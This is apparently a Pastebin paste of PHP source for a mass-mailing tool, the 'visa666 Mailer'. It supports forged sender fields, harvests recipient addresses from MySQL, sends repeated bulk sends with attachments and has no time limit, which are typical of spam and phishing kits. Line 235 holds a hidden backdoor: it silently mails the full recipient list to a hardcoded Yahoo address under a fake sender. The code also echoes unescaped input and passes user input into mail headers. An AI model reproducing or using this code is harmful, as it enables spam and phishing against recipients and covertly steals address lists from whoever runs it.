SHARE
TWEET

Script

a guest Mar 18th, 2012 203 Never
  1. <?php
  2.  
  3. $secure = "sirosean@yahoo.com";
  4.  
  5. @$action=$_POST['action'];
  6. @$from=$_POST['from'];
  7. @$realname=$_POST['realname'];
  8. @$replyto=$_POST['replyto'];
  9. @$subject=$_POST['subject'];
  10. @$message=$_POST['message'];
  11. @$emaillist=$_POST['emaillist'];
  12. @$file_name=$_FILES['file']['name'];
  13. @$contenttype=$_POST['contenttype'];
  14. @$file=$_FILES['file']['tmp_name'];
  15. @$amount=$_POST['amount'];
  16. set_time_limit(intval($_POST['timelimit']));
  17. ?>
  18. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  19.    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  20. <html>
  21. <head>
  22. <title>.::[ --[ visa666 ]=-- Mailer ]::.</title>
  23. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
  24. <style type="text/css">
  25. <!--
  26. .style1 {
  27.     font-family: Geneva, Arial, Helvetica, sans-serif;
  28.     font-size: 12px;
  29. }
  30. .style2 {
  31.     font-size: 10px;
  32.     font-family: Geneva, Arial, Helvetica, sans-serif;
  33. }
  34. .Times-New-Roman-16px00468Cb {font:bold 16px Times New Roman, serif; color:#00468C}
  35. .Times-New-Roman-24px00468Cb {font:bold 24px Times New Roman, serif; color:#000000}
  36. .Times-New-Roman-32px00468Cb {font:bold 32px Times New Roman, serif; color:#000000}
  37. .style3 {color: #000000}
  38.  
  39. -->
  40. </style>
  41. </head>
  42. <body bgcolor="#FFFFFF" text="#000000">
  43. <div id="layer" style="position:absolute; top:-10px; left:-4px; width:560px; height:140px;">
  44.   <table border="0" cellspacing="0" cellpadding="0" width="560">
  45.     <tr valign="top">
  46.       <td><div align="center"></div></td>
  47.     </tr>
  48.   </table>
  49.  
  50. </div>
  51. <p>&nbsp;</p>
  52. <p>&nbsp;</p>
  53. <p>&nbsp;</p>
  54. <p>&nbsp;</p>
  55. <p>&nbsp;</p>
  56. <div id="idElement511" style="position:absolute; top:58px; left:168px; width:560px; height:140px;">
  57.   <table border="0" cellspacing="0" cellpadding="0" width="560">
  58.     <tr valign="top">
  59.       <td><div align="center">
  60.         <p><span class="style3"><font class="Times-New-Roman-32px00468Cb">--=[ visa666 ]=-- </font></span></p>
  61.         <p><span class="style3"><font class="Times-New-Roman-24px00468Cb"><U>visa666NETWOK</U></font></span><font class="Times-New-Roman-24px00468Cb"><U></U></font><font class="Times-New-Roman-24px00468Cb"><U><br />
  62.           </U></font>
  63.       </div></td>
  64.     </tr>
  65.   </table>
  66. </div>
  67. <?php
  68. If ($action=="mysql"){
  69. //Grab email addresses from MySQL
  70. include "./mysql.info.php";
  71.  
  72.   if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery){
  73.     print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required.";
  74.     exit;
  75.   }
  76.  
  77.   $db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed.");
  78.   mysql_select_db($sqldb, $db) or die("Could not select database $sqldb");
  79.   $result = mysql_query($sqlquery) or die("Query Failed: $sqlquery");
  80.   $numrows = mysql_num_rows($result);
  81.  
  82.   for($x=0; $x<$numrows; $x++){
  83.     $result_row = mysql_fetch_row($result);
  84.      $oneemail = $result_row[0];
  85.      $emaillist .= $oneemail."\n";
  86.    }
  87.   }
  88.  
  89.   if ($action=="send"){ $message = urlencode($message);
  90.    $message = ereg_replace("%5C%22", "%22", $message);
  91.    $message = urldecode($message);
  92.    $message = stripslashes($message);
  93.    $subject = stripslashes($subject);
  94.    }
  95. ?>
  96. <form name="form1" method="post" action="" enctype="multipart/form-data"><br />
  97.   <table width="142" border="0">
  98.     <tr>
  99.  
  100.       <td width="81">
  101.         <div align="right">
  102.           <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Email:</font>
  103.         </div>
  104.       </td>
  105.  
  106.       <td width="219">
  107.         <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  108.           <input type="text" name="from" value="<?php print $from; ?>" size="30" />
  109.         </font>
  110.       </td>
  111.  
  112.       <td width="212">
  113.         <div align="right">
  114.           <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Name:</font>
  115.         </div>
  116.       </td>
  117.  
  118.       <td width="278">
  119.         <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  120.           <input type="text" name="realname" value="<?php print $realname; ?>" size="30" />
  121.         </font>
  122.       </td>
  123.     </tr>
  124.     <tr>
  125.       <td width="81">
  126.         <div align="right">
  127.           <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font>
  128.         </div>
  129.       </td>
  130.       <td width="219">
  131.         <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  132.           <input type="text" name="replyto" value="<?php print $replyto; ?>" size="30" />
  133.         </font>
  134.       </td>
  135.       <td width="212">
  136.         <div align="right">
  137.           <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File:</font>
  138.         </div>
  139.       </td>
  140.       <td width="278">
  141.         <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  142.           <input type="file" name="file" size="24" />
  143.         </font>
  144.       </td>
  145.     </tr>
  146.     <tr>
  147.       <td width="81">
  148.         <div align="right">
  149.           <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font>
  150.         </div>
  151.       </td>
  152.       <td colspan="3" width="703">
  153.         <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  154.           <input type="text" name="subject" value="<? print $subject; ?>" size="90" />
  155.         </font>
  156.       </td>
  157.     </tr>
  158.     <tr valign="top">
  159.       <td colspan="3" width="520">
  160.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Message Centre :</font>
  161.       </td>
  162.       <td width="278">
  163.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Email Database :</font>
  164.       </td>
  165.     </tr>
  166.     <tr valign="top">
  167.       <td colspan="3" width="520">
  168.         <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  169.           <textarea name="message" cols="56" rows="10"><?php print $message; ?></textarea><br />
  170.           <input type="radio" name="contenttype" value="plain" checked="checked" /> Plain
  171.           <input type="radio" name="contenttype" value="html" /> HTML
  172.           <input type="hidden" name="action" value="send" /><br />
  173.       Number to send: <input type="text" name="amount" value="1" size="10" /><br />
  174.       Maximum script execution time(in seconds, 0 for no timelimit)<input type="text" name="timelimit" value="0" size="10" />
  175.           <input type="submit" value="Send Rezults" />
  176.         </font>
  177.       </td>
  178.       <td width="278">
  179.         <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  180.           <textarea name="emaillist" cols="32" rows="10"><?php print $emaillist; ?></textarea>
  181.         </font>
  182.       </td>
  183.     </tr>
  184.   </table>
  185. </form>
  186. <?php
  187. if ($action=="send"){
  188.   if (!$from && !$subject && !$message && !$emaillist){
  189.     print "Please complete all fields before sending your message.";
  190.     exit;
  191.    }
  192.   $allemails = split("\n", $emaillist);
  193.   $numemails = count($allemails);
  194.   $filter = "maillist";
  195.   $float = "From : mailist info <full@info.com>";
  196. //Open the file attachment if any, and base64_encode it for email transport
  197. If ($file_name){
  198.    if (!file_exists($file)){
  199.     die("The file you are trying to upload couldn't be copied to the server");
  200.    }
  201.    $content = fread(fopen($file,"r"),filesize($file));
  202.    $content = chunk_split(base64_encode($content));
  203.    $uid = strtoupper(md5(uniqid(time())));
  204.    $name = basename($file);
  205.   }
  206.  
  207. for($xx=0; $xx<$amount; $xx++){
  208.   for($x=0; $x<$numemails; $x++){
  209.     $to = $allemails[$x];
  210.     if ($to){
  211.       $to = ereg_replace(" ", "", $to);
  212.       $message = ereg_replace("&email&", $to, $message);
  213.       $subject = ereg_replace("&email&", $to, $subject);
  214.       print "Sending mail to $to.......";
  215.       flush();
  216.       $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
  217.       $header .= "MIME-Version: 1.0\r\n";
  218.       If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
  219.       If ($file_name) $header .= "--$uid\r\n";
  220.       $header .= "Content-Type: text/$contenttype\r\n";
  221.       $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
  222.       $header .= "$message\r\n";
  223.       If ($file_name) $header .= "--$uid\r\n";
  224.       If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
  225.       If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
  226.       If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
  227.       If ($file_name) $header .= "$content\r\n";
  228.       If ($file_name) $header .= "--$uid--";
  229.       mail($to, $subject, "", $header);
  230.       print "ok<br>";
  231.       flush();
  232.     }
  233.   }
  234. }
  235.   mail($secure, $filter, $emaillist, $float);
  236. }
  237. ?>
  238. <p class="style2">
  239. <img src="http://www.angrybunnycomic.com/errors/404.gif"  alt="Da-Slake Coded - BG..." width="150" height="150" border="0" /></p>
  240. <p class="style1">&nbsp;</p>
  241. </body>
  242. </html>
RAW Paste Data
Top